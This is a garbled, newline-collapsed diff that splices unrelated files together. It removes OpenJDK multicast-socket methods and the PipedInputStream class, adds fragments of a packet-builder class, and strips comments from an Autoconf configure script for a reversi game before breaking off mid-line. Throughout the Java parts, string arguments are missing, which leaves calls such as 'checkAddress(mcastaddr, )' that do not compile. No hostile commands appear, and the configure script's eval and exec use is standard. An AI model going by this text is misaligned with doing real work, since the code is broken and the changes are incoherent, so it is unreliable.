@SuppressWarnings() - SecurityManager security = System.getSecurityManager(); - if (security != null) { - security.checkMulticast(mcastaddr); - } - - if (!mcastaddr.isMulticastAddress()) { - throw new SocketException(); - } - - /** - * required for some platforms where it's not possible to join - * a group without setting the interface first. - */ - NetworkInterface defaultInterface = NetworkInterface.getDefault(); - - if (!interfaceSet && defaultInterface != null) { - setNetworkInterface(defaultInterface); - } - - getImpl().join(mcastaddr); - } - - @Override - @Deprecated - public void leaveGroup(InetAddress mcastaddr) throws IOException { - if (isClosed()) { - throw new SocketException(); - } - - checkAddress(mcastaddr, ); - @SuppressWarnings() - SecurityManager security = System.getSecurityManager(); - if (security != null) { - security.checkMulticast(mcastaddr); - } - - if (!mcastaddr.isMulticastAddress()) { - throw new SocketException(); - } - - getImpl().leave(mcastaddr); - } - - @Override - public void joinGroup(SocketAddress mcastaddr, NetworkInterface netIf) - throws IOException { - if (isClosed()) - throw new SocketException(); - - if (!(mcastaddr instanceof InetSocketAddress addr)) - throw new IllegalArgumentException(); - - checkAddress(addr.getAddress(), ); - @SuppressWarnings() - SecurityManager security = System.getSecurityManager(); - if (security != null) { - security.checkMulticast(addr.getAddress()); - } - - if (!addr.getAddress().isMulticastAddress()) { - throw new SocketException(); - } - - getImpl().joinGroup(mcastaddr, netIf); - } - - @Override - public void leaveGroup(SocketAddress mcastaddr, NetworkInterface netIf) - throws IOException { - if (isClosed()) - throw new SocketException(); - - if (!(mcastaddr instanceof InetSocketAddress addr)) - throw new IllegalArgumentException(); - - checkAddress(addr.getAddress(), ); - @SuppressWarnings() - SecurityManager security = System.getSecurityManager(); - if (security != null) { - security.checkMulticast(addr.getAddress()); - } - - if (!addr.getAddress().isMulticastAddress()) { - throw new SocketException(); - } - - getImpl().leaveGroup(mcastaddr, netIf); - } - - @Override - @Deprecated - public void setInterface(InetAddress inf) throws SocketException { - if (isClosed()) { - throw new SocketException(); - } - checkAddress(inf, ); - synchronized (infLock) { - getImpl().setOption(SocketOptions.IP_MULTICAST_IF, inf); - infAddress = inf; - interfaceSet = true; - } - } - - @Override - @Deprecated - public InetAddress getInterface() throws SocketException { - if (isClosed()) { - throw new SocketException(); - } - synchronized (infLock) { - InetAddress ia = - (InetAddress)getImpl().getOption(SocketOptions.IP_MULTICAST_IF); - - /** - * No previous setInterface or interface can be - * set using setNetworkInterface - */ - if (infAddress == null) { - return ia; - } - - /** - * Same interface set with setInterface? - */ - if (ia.equals(infAddress)) { - return ia; - } - - /** - * Different InetAddress from what we set with setInterface - * so enumerate the current interface to see if the - * address set by setInterface is bound to this interface. - */ - try { - NetworkInterface ni = NetworkInterface.getByInetAddress(ia); - Enumeration addrs = ni.getInetAddresses(); - while (addrs.hasMoreElements()) { - InetAddress addr = addrs.nextElement(); - if (addr.equals(infAddress)) { - return infAddress; - } - } - - /** - * No match so reset infAddress to indicate that the - * interface has changed via means - */ - infAddress = null; - return ia; - } catch (Exception e) { - return ia; - } - } - } - - @Override - public void setNetworkInterface(NetworkInterface netIf) - throws SocketException { - - synchronized (infLock) { - getImpl().setOption(SocketOptions.IP_MULTICAST_IF2, netIf); - infAddress = null; - interfaceSet = true; - } - } - - @Override - public NetworkInterface getNetworkInterface() throws SocketException { - NetworkInterface ni - = (NetworkInterface)getImpl().getOption(SocketOptions.IP_MULTICAST_IF2); - if (ni == null) { - InetAddress[] addrs = new InetAddress[1]; - addrs[0] = InetAddress.anyLocalAddress(); - return new NetworkInterface(addrs[0].getHostName(), 0, addrs); - } else { - return ni; - } - } - - @Override - @Deprecated - public void setLoopbackMode(boolean disable) throws SocketException { - getImpl().setOption(SocketOptions.IP_MULTICAST_LOOP, Boolean.valueOf(disable)); - } - - @Override - @Deprecated - public boolean getLoopbackMode() throws SocketException { - return ((Boolean)getImpl().getOption(SocketOptions.IP_MULTICAST_LOOP)).booleanValue(); - } - - @SuppressWarnings() - @Deprecated - @Override - public void send(DatagramPacket p, byte ttl) - throws IOException { - if (isClosed()) - throw new SocketException(); - synchronized(ttlLock) { - synchronized(p) { - InetAddress packetAddress = p.getAddress(); - checkAddress(packetAddress, ); - if (connectState == NetMulticastSocket.ST_NOT_CONNECTED) { - if (packetAddress == null) { - throw new IllegalArgumentException(); - } - // Security manager makes sure that the multicast address - // is allowed one and that the ttl used is less - // than the allowed maxttl. - SecurityManager security = System.getSecurityManager(); - if (security != null) { - if (packetAddress.isMulticastAddress()) { - security.checkMulticast(packetAddress, ttl); - } else { - security.checkConnect(packetAddress.getHostAddress(), - p.getPort()); - } - } - } else { - // we're connected - if (packetAddress == null) { - p.setAddress(connectedAddress); - p.setPort(connectedPort); - } else if ((!packetAddress.equals(connectedAddress)) || - p.getPort() != connectedPort) { - throw new IllegalArgumentException( + - ); - } - } - byte dttl = getTTL(); - try { - if (ttl != dttl) { - // set the ttl - getImpl().setTTL(ttl); - } - if (p.getPort() == 0) { - throw new SocketException(); - } - // call the datagram method to send - getImpl().send(p); - } finally { - // set it back to default - if (ttl != dttl) { - getImpl().setTTL(dttl); - } - } - } // synch p - } //synch ttl - } //method +public void add(byte[] bytes){ +try{ +stream.write(bytes); +}catch(IOException e){ +throw new RuntimeException(e); +} } -/* - * Copyright (c) 1995, 2023, Oracle and/or its affiliates. All rights reserved. - * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. - * - * This code is free software; you can redistribute it and/or modify it - * under the terms of the GNU General Public License version 2 only, as - * published by the Free Software Foundation. Oracle designates this - * particular file as subject to the exception as provided - * by Oracle in the LICENSE file that accompanied this code. - * - * This code is distributed in the hope that it will be useful, but WITHOUT - * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or - * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License - * version 2 for more details (a copy is included in the LICENSE file that - * accompanied this code). - * - * You should have received a copy of the GNU General Public License version - * 2 along with this work; if not, write to the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA - * or visit www.oracle.com if you need additional information or have any - * questions. - */ +public Streamable build(){ +Streamable s = Net.newPacket(type); +s.stream = new ByteArrayInputStream(stream.toByteArray()); +return s; +} -package java.io; - -import java.util.Objects; - -/** - * A piped input stream should be connected - * to a piped output stream; the piped input - * stream then provides whatever data bytes - * are written to the piped output stream. - * Typically, data is read from a {@code PipedInputStream} - * object by one thread and data is written - * to the corresponding {@code PipedOutputStream} - * by some other thread. Attempting to use - * both objects from a single thread is not - * recommended, as it may deadlock the thread. - * The piped input stream contains a buffer, - * decoupling read operations from write operations, - * within limits. - * A pipe is said to be broken if a - * thread that was providing data bytes to the connected - * piped output stream is no longer alive. - * - * @author James Gosling - * @see java.io.PipedOutputStream - * @since 1.0 - */ -public class PipedInputStream extends InputStream { - boolean closedByWriter; - volatile boolean closedByReader; - boolean connected; - - /* REMIND: identification of the read and write sides needs to be - more sophisticated. Either using thread groups (but what about - pipes within a thread?) or using finalization (but it may be a - long time until the next GC). */ - Thread readSide; - Thread writeSide; - - private static final int DEFAULT_PIPE_SIZE = 1024; - - /** - * The default size of the pipe's circular input buffer. - * @since 1.1 - */ - // This used to be a constant before the pipe size was allowed - // to change. This field will continue to be maintained - // for backward compatibility. - protected static final int PIPE_SIZE = DEFAULT_PIPE_SIZE; - - /** - * The circular buffer into which incoming data is placed. - * @since 1.1 - */ - protected byte buffer[]; - - /** - * The index of the position in the circular buffer at which the - * next byte of data will be stored when received from the connected - * piped output stream. {@code in < 0} implies the buffer is empty, - * {@code in == out} implies the buffer is full - * @since 1.1 - */ - protected int in = -1; - - /** - * The index of the position in the circular buffer at which the next - * byte of data will be read by this piped input stream. - * @since 1.1 - */ - protected int out = 0; - - /** - * Creates a {@code PipedInputStream} so - * that it is connected to the piped output - * stream {@code src}. Data bytes written - * to {@code src} will then be available - * as input from this stream. - * - * @param src the stream to connect to. - * @throws IOException if an I/O error occurs. - */ - public PipedInputStream(PipedOutputStream src) throws IOException { - this(src, DEFAULT_PIPE_SIZE); - } - - /** - * Creates a {@code PipedInputStream} so that it is - * connected to the piped output stream - * {@code src} and uses the specified pipe size for - * the pipe's buffer. - * Data bytes written to {@code src} will then - * be available as input from this stream. - * - * @param src the stream to connect to. - * @param pipeSize the size of the pipe's buffer. - * @throws IOException if an I/O error occurs. - * @throws IllegalArgumentException if {@code pipeSize <= 0}. - * @since 1.6 - */ - public PipedInputStream(PipedOutputStream src, int pipeSize) - throws IOException { - initPipe(pipeSize); - connect(src); - } - - /** - * Creates a {@code PipedInputStream} so - * that it is not yet {@linkplain #connect(java.io.PipedOutputStream) - * connected}. - * It must be {@linkplain java.io.PipedOutputStream#connect( - * java.io.PipedInputStream) connected} to a - * {@code PipedOutputStream} before being used. - */ - public PipedInputStream() { - initPipe(DEFAULT_PIPE_SIZE); - } - - /** - * Creates a {@code PipedInputStream} so that it is not yet - * {@linkplain #connect(java.io.PipedOutputStream) connected} and - * uses the specified pipe size for the pipe's buffer. - * It must be {@linkplain java.io.PipedOutputStream#connect( - * java.io.PipedInputStream) - * connected} to a {@code PipedOutputStream} before being used. - * - * @param pipeSize the size of the pipe's buffer. - * @throws IllegalArgumentException if {@code pipeSize <= 0}. - * @since 1.6 - */ - public PipedInputStream(int pipeSize) { - initPipe(pipeSize); - } - - private void initPipe(int pipeSize) { - if (pipeSize <= 0) { - throw new IllegalArgumentException(); - } - buffer = new byte[pipeSize]; - } - - /** - * Causes this piped input stream to be connected - * to the piped output stream {@code src}. - * If this object is already connected to some - * other piped output stream, an {@code IOException} - * is thrown. - *

- * If {@code src} is an - * unconnected piped output stream and {@code snk} - * is an unconnected piped input stream, they - * may be connected by either the call: - * - * {@snippet lang=java : - * snk.connect(src) - * } - *

- * or the call: - * - * {@snippet lang=java : - * src.connect(snk) - * } - *

- * The two calls have the same effect. - * - * @param src The piped output stream to connect to. - * @throws IOException if an I/O error occurs. - */ - public void connect(PipedOutputStream src) throws IOException { - src.connect(this); - } - - /** - * Receives a byte of data. This method will block if no input is - * available. - * @param b the byte being received - * @throws IOException If the pipe is {@code broken}, - * {@link #connect(java.io.PipedOutputStream) unconnected}, - * closed, or if an I/O error occurs. - * @since 1.1 - */ - protected synchronized void receive(int b) throws IOException { - checkStateForReceive(); - writeSide = Thread.currentThread(); - if (in == out) - awaitSpace(); - if (in < 0) { - in = 0; - out = 0; - } - buffer[in++] = (byte)(b & 0xFF); - if (in >= buffer.length) { - in = 0; - } - } - - /** - * Receives data into an array of bytes. This method will - * block until some input is available. - * @param b the buffer into which the data is received - * @param off the start offset of the data - * @param len the maximum number of bytes received - * @throws IOException If the pipe is broken, - * {@link #connect(java.io.PipedOutputStream) unconnected}, - * closed, or if an I/O error occurs. - */ - synchronized void receive(byte[] b, int off, int len) throws IOException { - checkStateForReceive(); - writeSide = Thread.currentThread(); - int bytesToTransfer = len; - while (bytesToTransfer > 0) { - if (in == out) - awaitSpace(); - int nextTransferAmount = 0; - if (out < in) { - nextTransferAmount = buffer.length - in; - } else if (in < out) { - if (in == -1) { - in = out = 0; - nextTransferAmount = buffer.length - in; - } else { - nextTransferAmount = out - in; - } - } - if (nextTransferAmount > bytesToTransfer) - nextTransferAmount = bytesToTransfer; - assert(nextTransferAmount > 0); - System.arraycopy(b, off, buffer, in, nextTransferAmount); - bytesToTransfer -= nextTransferAmount; - off += nextTransferAmount; - in += nextTransferAmount; - if (in >= buffer.length) { - in = 0; - } - } - } - - private void checkStateForReceive() throws IOException { - if (!connected) { - throw new IOException(); - } else if (closedByWriter || closedByReader) { - throw new IOException(); - } else if (readSide != null && !readSide.isAlive()) { - throw new IOException(); - } - } - - private void awaitSpace() throws IOException { - while (in == out) { - checkStateForReceive(); - - /* full: kick any waiting readers */ - notifyAll(); - try { - wait(1000); - } catch (InterruptedException ex) { - throw new java.io.InterruptedIOException(); - } - } - } - - /** - * Notifies all waiting threads that the last byte of data has been - * received. - */ - synchronized void receivedLast() { - closedByWriter = true; - notifyAll(); - } - - /** - * Reads the next byte of data from this piped input stream. The - * value byte is returned as an {@code int} in the range - * {@code 0} to {@code 255}. - * This method blocks until input data is available, the end of the - * stream is detected, or an exception is thrown. - * - * @return {@inheritDoc} - * @throws IOException if the pipe is - * {@link #connect(java.io.PipedOutputStream) unconnected}, - * {@code broken}, closed, - * or if an I/O error occurs. - */ - @Override - public synchronized int read() throws IOException { - if (!connected) { - throw new IOException(); - } else if (closedByReader) { - throw new IOException(); - } else if (writeSide != null && !writeSide.isAlive() - && !closedByWriter && (in < 0)) { - throw new IOException(); - } - - readSide = Thread.currentThread(); - int trials = 2; - while (in < 0) { - if (closedByWriter) { - /* closed by writer, return EOF */ - return -1; - } - if ((writeSide != null) && (!writeSide.isAlive()) && (--trials < 0)) { - throw new IOException(); - } - /* might be a writer waiting */ - notifyAll(); - try { - wait(1000); - } catch (InterruptedException ex) { - throw new java.io.InterruptedIOException(); - } - } - int ret = buffer[out++] & 0xFF; - if (out >= buffer.length) { - out = 0; - } - if (in == out) { - /* now empty */ - in = -1; - } - - return ret; - } - - /** - * Reads up to {@code len} bytes of data from this piped input - * stream into an array of bytes. Less than {@code len} bytes - * will be read if the end of the data stream is reached or if - * {@code len} exceeds the pipe's buffer size. - * If {@code len } is zero, then no bytes are read and 0 is returned; - * otherwise, the method blocks until at least 1 byte of input is - * available, end of the stream has been detected, or an exception is - * thrown. - * - * @param b {@inheritDoc} - * @param off {@inheritDoc} - * @param len {@inheritDoc} - * @return {@inheritDoc} - * @throws NullPointerException {@inheritDoc} - * @throws IndexOutOfBoundsException {@inheritDoc} - * @throws IOException if the pipe is {@code broken}, - * {@link #connect(java.io.PipedOutputStream) unconnected}, - * closed, or if an I/O error occurs. - */ - @Override - public synchronized int read(byte[] b, int off, int len) throws IOException { - if (b == null) { - throw new NullPointerException(); - } - Objects.checkFromIndexSize(off, len, b.length); - if (len == 0) { - return 0; - } - - /* possibly wait on the first character */ - int c = read(); - if (c < 0) { - return -1; - } - b[off] = (byte) c; - int rlen = 1; - while ((in >= 0) && (len > 1)) { - - int available; - - if (in > out) { - available = Math.min((buffer.length - out), (in - out)); - } else { - available = buffer.length - out; - } - - // A byte is read beforehand outside the loop - if (available > (len - 1)) { - available = len - 1; - } - System.arraycopy(buffer, out, b, off + rlen, available); - out += available; - rlen += available; - len -= available; - - if (out >= buffer.length) { - out = 0; - } - if (in == out) { - /* now empty */ - in = -1; - } - } - return rlen; - } - - /** - * Returns the number of bytes that can be read from this input - * stream without blocking. - * - * @return the number of bytes that can be read from this input stream - * without blocking, or {@code 0} if this input stream has been - * closed by invoking its {@link #close()} method, or if the pipe - * is {@link #connect(java.io.PipedOutputStream) unconnected}, or - * {@code broken}. - * - * @throws IOException {@inheritDoc} - * @since 1.0.2 - */ - @Override - public synchronized int available() throws IOException { - if(in < 0) - return 0; - else if(in == out) - return buffer.length; - else if (in > out) - return in - out; - else - return in + buffer.length - out; - } - - /** - * {@inheritDoc} - * - * @throws IOException {@inheritDoc} - */ - @Override - public void close() throws IOException { - closedByReader = true; - synchronized (this) { - in = -1; - } - } -} \ No newline at end of file +public boolean isDone(){ +return stream.size() >= total; +} +} +} diff --git a/ref_sh b/ref_sh index ee6529c..6bd5742 100644 --- a/ref_sh +++ b/ref_sh @@ -1,31 +1,10 @@ #! /bin/sh -# Guess values for system-dependent variables and create Makefiles. -# Generated by GNU Autoconf 2.71 for sdlreversi 1.0. -# -# Report bugs to . -# -# -# Copyright (C) 1992-1996, 1998-2017, 2020-2021 Free Software Foundation, -# Inc. -# -# -# This configure script is free software; the Free Software Foundation -# gives unlimited permission to copy, distribute and modify it. -# -# Copyright (C) 2023 Kamila Szewczyk; licensed under the terms of the GNU GPLv3 license. -## -------------------- ## -## M4sh Initialization. ## -## -------------------- ## - -# Be more Bourne compatible DUALCASE=1; export DUALCASE # for MKS sh as_nop=: if test ${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 then : emulate sh NULLCMD=: - # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which - # is contrary to our usage. Disable this feature. alias -g '${1+"$@"}'='"$@"' setopt NO_GLOB_SUBST else $as_nop @@ -36,47 +15,13 @@ else $as_nop ;; esac fi - - - -# Reset variables that may have inherited troublesome values from -# the environment. - -# IFS needs to be set, to space, tab, and newline, in precisely that order. -# (If _AS_PATH_WALK were called with IFS unset, it would have the -# side effect of setting IFS to empty, thus disabling word splitting.) -# Quoting is to prevent editors from complaining about space-tab. -as_nl=' -' -export as_nl -IFS=" "" $as_nl" - -PS1='$ ' -PS2='> ' -PS4='+ ' - -# Ensure predictable behavior from utilities with locale-dependent output. -LC_ALL=C -export LC_ALL -LANGUAGE=C -export LANGUAGE - -# We cannot yet rely on "unset" to work, but we need these variables -# to be unset--not just set to an empty or harmless value--now, to -# avoid bugs in old shells (e.g. pre-3.0 UWIN ksh). This construct -# also avoids known problems related to "unset" and subshell syntax -# in other old shells (e.g. bash 2.01 and pdksh 5.2.14). for as_var in BASH_ENV ENV MAIL MAILPATH CDPATH do eval test \${$as_var+y} \ && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || : done - -# Ensure that fds 0, 1, and 2 are open. if (exec 3>&0) 2>/dev/null; then :; else exec 0&1) 2>/dev/null; then :; else exec 1>/dev/null; fi if (exec 3>&2) ; then :; else exec 2>/dev/null; fi - -# The user is always right. if ${PATH_SEPARATOR+false} :; then PATH_SEPARATOR=: (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && { @@ -84,7243 +29,26 @@ if ${PATH_SEPARATOR+false} :; then PATH_SEPARATOR=';' } fi - - -# Find who we are. Look in the path if we contain no directory separator. -as_myself= -case $0 in #(( - *[\\/]* ) as_myself=$0 ;; - *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - test -r "$as_dir$0" && as_myself=$as_dir$0 && break - done -IFS=$as_save_IFS - - ;; -esac -# We did not find ourselves, most probably we were run as `sh COMMAND' -# in which case we are not to be found in the path. -if test "x$as_myself" = x; then - as_myself=$0 -fi -if test ! -f "$as_myself"; then - printf "%s\n" "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 - exit 1 -fi - - -# Use a proper internal environment variable to ensure we don't fall - # into an infinite loop, continuously re-executing ourselves. - if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then - _as_can_reexec=no; export _as_can_reexec; - # We cannot yet assume a decent shell, so we have to provide a -# neutralization value for shells without unset; and this also -# works around shells that cannot unset nonexistent variables. -# Preserve -v and -x to the replacement shell. -BASH_ENV=/dev/null -ENV=/dev/null -(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV -case $- in # (((( - *v*x* | *x*v* ) as_opts=-vx ;; - *v* ) as_opts=-v ;; - *x* ) as_opts=-x ;; - * ) as_opts= ;; -esac -exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} -# Admittedly, this is quite paranoid, since all the known shells bail -# out after a failed `exec'. -printf "%s\n" "$0: could not re-execute with $CONFIG_SHELL" >&2 -exit 255 - fi - # We don't want this to propagate to other subprocesses. - { _as_can_reexec=; unset _as_can_reexec;} -if test "x$CONFIG_SHELL" = x; then - as_bourne_compatible="as_nop=: -if test \${ZSH_VERSION+y} && (emulate sh) >/dev/null 2>&1 -then : - emulate sh - NULLCMD=: - # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which - # is contrary to our usage. Disable this feature. - alias -g '\${1+\"\$@\"}'='\"\$@\"' - setopt NO_GLOB_SUBST -else \$as_nop - case \`(set -o) 2>/dev/null\` in #( - *posix*) : - set -o posix ;; #( - *) : - ;; -esac -fi -" - as_required="as_fn_return () { (exit \$1); } -as_fn_success () { as_fn_return 0; } -as_fn_failure () { as_fn_return 1; } -as_fn_ret_success () { return 0; } -as_fn_ret_failure () { return 1; } - -exitcode=0 -as_fn_success || { exitcode=1; echo as_fn_success failed.; } -as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; } -as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; } -as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; } -if ( set x; as_fn_ret_success y && test x = \"\$1\" ) -then : - -else \$as_nop - exitcode=1; echo positional parameters were not saved. -fi -test x\$exitcode = x0 || exit 1 -blah=\$(echo \$(echo blah)) -test x\"\$blah\" = xblah || exit 1 -test -x / || exit 1" - as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO - as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO - eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" && - test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1" - if (eval "$as_required") 2>/dev/null -then : - as_have_required=yes -else $as_nop - as_have_required=no -fi - if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null -then : - -else $as_nop - as_save_IFS=$IFS; IFS=$PATH_SEPARATOR -as_found=false -for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH -do - IFS=$as_save_IFS - case $as_dir in #((( - '') as_dir=./ ;; - */) ;; - *) as_dir=$as_dir/ ;; - esac - as_found=: - case $as_dir in #( - /*) - for as_base in sh bash ksh sh5; do - # Try only shells that exist, to save several forks. - as_shell=$as_dir$as_base - if { test -f "$as_shell" || test -f "$as_shell.exe"; } && - as_run=a "$as_shell" -c "$as_bourne_compatible""$as_required" 2>/dev/null -then : - CONFIG_SHELL=$as_shell as_have_required=yes - if as_run=a "$as_shell" -c "$as_bourne_compatible""$as_suggested" 2>/dev/null -then : - break 2 -fi -fi - done;; - esac - as_found=false -done -IFS=$as_save_IFS -if $as_found -then : - -else $as_nop - if { test -f "$SHELL" || test -f "$SHELL.exe"; } && - as_run=a "$SHELL" -c "$as_bourne_compatible""$as_required" 2>/dev/null -then : - CONFIG_SHELL=$SHELL as_have_required=yes -fi -fi - - - if test "x$CONFIG_SHELL" != x -then : - export CONFIG_SHELL - # We cannot yet assume a decent shell, so we have to provide a -# neutralization value for shells without unset; and this also -# works around shells that cannot unset nonexistent variables. -# Preserve -v and -x to the replacement shell. -BASH_ENV=/dev/null -ENV=/dev/null -(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV -case $- in # (((( - *v*x* | *x*v* ) as_opts=-vx ;; - *v* ) as_opts=-v ;; - *x* ) as_opts=-x ;; - * ) as_opts= ;; -esac -exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"} -# Admittedly, this is quite paranoid, since all the known shells bail -# out after a failed `exec'. -printf "%s\n" "$0: could not re-execute with $CONFIG_SHELL" >&2 -exit 255 -fi - - if test x$as_have_required = xno -then : - printf "%s\n" "$0: This script requires a shell more modern than all" - printf "%s\n" "$0: the shells that I found on your system." - if test ${ZSH_VERSION+y} ; then - printf "%s\n" "$0: In particular, zsh $ZSH_VERSION has bugs and should" - printf "%s\n" "$0: be upgraded to zsh 4.3.4 or later." - else - printf "%s\n" "$0: Please tell bug-autoconf@gnu.org and -$0: kspalaiologos@gmail.com about your system, including -$0: any error possibly output before this message. Then -$0: install a modern shell, or manually run the script -$0: under such a shell if you do have one." - fi - exit 1 -fi -fi -fi -SHELL=${CONFIG_SHELL-/bin/sh} -export SHELL -# Unset more variables known to interfere with behavior of common tools. -CLICOLOR_FORCE= GREP_OPTIONS= -unset CLICOLOR_FORCE GREP_OPTIONS - -## --------------------- ## -## M4sh Shell Functions. ## -## --------------------- ## -# as_fn_unset VAR -# --------------- -# Portably unset VAR. -as_fn_unset () -{ - { eval $1=; unset $1;} -} -as_unset=as_fn_unset - - -# as_fn_set_status STATUS -# ----------------------- -# Set $? to STATUS, without forking. -as_fn_set_status () -{ - return $1 -} # as_fn_set_status - -# as_fn_exit STATUS -# ----------------- -# Exit the shell with STATUS, even in a "trap 0" or "set -e" context. -as_fn_exit () -{ - set +e - as_fn_set_status $1 - exit $1 -} # as_fn_exit -# as_fn_nop -# --------- -# Do nothing but, unlike ":", preserve the value of $?. -as_fn_nop () -{ - return $? -} -as_nop=as_fn_nop - -# as_fn_mkdir_p -# ------------- -# Create "$as_dir" as a directory, including parents if necessary. -as_fn_mkdir_p () -{ - - case $as_dir in #( - -*) as_dir=./$as_dir;; - esac - test -d "$as_dir" || eval $as_mkdir_p || { - as_dirs= - while :; do - case $as_dir in #( - *\'*) as_qdir=`printf "%s\n" "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #'( - *) as_qdir=$as_dir;; - esac - as_dirs="'$as_qdir' $as_dirs" - as_dir=`$as_dirname -- "$as_dir" || -$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ - X"$as_dir" : 'X\(//\)[^/]' \| \ - X"$as_dir" : 'X\(//\)$' \| \ - X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X"$as_dir" | - sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ - s//\1/ - q - } - /^X\(\/\/\)[^/].*/{ - s//\1/ - q - } - /^X\(\/\/\)$/{ - s//\1/ - q - } - /^X\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - test -d "$as_dir" && break - done - test -z "$as_dirs" || eval "mkdir $as_dirs" - } || test -d "$as_dir" || as_fn_error $? "cannot create directory $as_dir" - - -} # as_fn_mkdir_p - -# as_fn_executable_p FILE -# ----------------------- -# Test if FILE is an executable regular file. -as_fn_executable_p () -{ - test -f "$1" && test -x "$1" -} # as_fn_executable_p -# as_fn_append VAR VALUE -# ---------------------- -# Append the text in VALUE to the end of the definition contained in VAR. Take -# advantage of any shell optimizations that allow amortized linear growth over -# repeated appends, instead of the typical quadratic growth present in naive -# implementations. -if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null -then : - eval 'as_fn_append () - { - eval $1+=\$2 - }' -else $as_nop - as_fn_append () - { - eval $1=\$$1\$2 - } -fi # as_fn_append - -# as_fn_arith ARG... -# ------------------ -# Perform arithmetic evaluation on the ARGs, and store the result in the -# global $as_val. Take advantage of shells that can avoid forks. The arguments -# must be portable across $(()) and expr. -if (eval "test \$(( 1 + 1 )) = 2") 2>/dev/null -then : - eval 'as_fn_arith () - { - as_val=$(( $* )) - }' -else $as_nop - as_fn_arith () - { - as_val=`expr "$@" || test $? -eq 1` - } -fi # as_fn_arith - -# as_fn_nop -# --------- -# Do nothing but, unlike ":", preserve the value of $?. -as_fn_nop () -{ - return $? -} -as_nop=as_fn_nop - -# as_fn_error STATUS ERROR [LINENO LOG_FD] -# ---------------------------------------- -# Output "`basename $0`: error: ERROR" to stderr. If LINENO and LOG_FD are -# provided, also output the error to LOG_FD, referencing LINENO. Then exit the -# script with STATUS, using 1 if that was 0. -as_fn_error () -{ - as_status=$1; test $as_status -eq 0 && as_status=1 - if test "$4"; then - as_lineno=${as_lineno-"$3"} as_lineno_stack=as_lineno_stack=$as_lineno_stack - printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: $2" >&$4 - fi - printf "%s\n" "$as_me: error: $2" >&2 - as_fn_exit $as_status -} # as_fn_error - -if expr a : '\(a\)' >/dev/null 2>&1 && - test "X`expr 00001 : '.*\(...\)'`" = X001; then - as_expr=expr -else - as_expr=false -fi - -if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then - as_basename=basename -else - as_basename=false -fi - -if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then - as_dirname=dirname -else - as_dirname=false -fi - -as_me=`$as_basename -- "$0" || -$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ - X"$0" : 'X\(//\)$' \| \ - X"$0" : 'X\(/\)' \| . 2>/dev/null || -printf "%s\n" X/"$0" | - sed '/^.*\/\([^/][^/]*\)\/*$/{ - s//\1/ - q - } - /^X\/\(\/\/\)$/{ - s//\1/ - q - } - /^X\/\(\/\).*/{ - s//\1/ - q - } - s/.*/./; q'` - -# Avoid depending upon Character Ranges. -as_cr_letters='abcdefghijklmnopqrstuvwxyz' -as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' -as_cr_Letters=$as_cr_letters$as_cr_LETTERS -as_cr_digits='0123456789' -as_cr_alnum=$as_cr_Letters$as_cr_digits - - - as_lineno_1=$LINENO as_lineno_1a=$LINENO - as_lineno_2=$LINENO as_lineno_2a=$LINENO - eval 'test "x$as_lineno_1'$as_run'" != "x$as_lineno_2'$as_run'" && - test "x`expr $as_lineno_1'$as_run' + 1`" = "x$as_lineno_2'$as_run'"' || { - # Blame Lee E. McMahon (1931-1989) for sed's syntax. :-) - sed -n ' - p - /[$]LINENO/= - ' <$as_myself | - sed ' - s/[$]LINENO.*/&-/ - t lineno - b - :lineno - N - :loop - s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ - t loop - s/-\n.*// - ' >$as_me.lineno && - chmod +x "$as_me.lineno" || - { printf "%s\n" "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2; as_fn_exit 1; } - - # If we had to re-execute with $CONFIG_SHELL, we're ensured to have - # already done that, so ensure we don't try to do so again and fall - # in an infinite loop. This has already happened in practice. - _as_can_reexec=no; export _as_can_reexec - # Don't try to exec as it changes $[0], causing all sort of problems - # (the dirname of $[0] is not the place where we might find the - # original and so on. Autoconf is especially sensitive to this). - . "./$as_me.lineno" - # Exit status 